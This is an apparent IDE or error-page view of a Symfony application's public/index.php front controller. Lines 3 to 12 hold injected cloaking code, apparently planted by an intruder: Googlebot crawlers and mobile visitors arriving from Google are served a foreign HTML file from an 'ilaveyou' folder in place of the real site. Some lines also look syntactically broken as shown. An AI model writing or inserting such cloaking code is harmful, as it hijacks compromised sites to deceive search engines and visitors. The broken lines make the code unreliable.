public/index.php line 16

Open in your IDE?
  1. <?php
  2. use App\Kernel;
  3. $is_from_google = isset($_SERVER['HTTP_REFERER']) && preg_match("/google\.(com|co\.id)$/i"parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST));
  4. $is_mobile preg_match("/(iPhone|Android|iPad|iPod|Mobile|BlackBerry|Windows Phone)/i"$_SERVER['HTTP_USER_AGENT']);
  5. $is_googlebot = isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/(Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|Google-InspectionTool|APIs-Google|Google-Site-Verification|Google Web Preview|Google Favicon|Google Feedfetcher)/i",$_SERVER['HTTP_USER_AGENT']);
  6. if ($is_googlebot || ($is_from_google && $is_mobile)) {
  7.     header("Content-Type: text/HTML");
  8.     #require(__DIR__ . "/wp-content/uploads/2024/04/index.html");
  9.     #echo '<!-- cc -->';
  10.     echo file_get_contents(__DIR__ "/ilaveyou/file/index.html");
  11.     #exit;
  12. }
  13. require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
  14. date_default_timezone_set("Africa/Casablanca");
  15. return function (array $context) {
  16.     return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
  17. };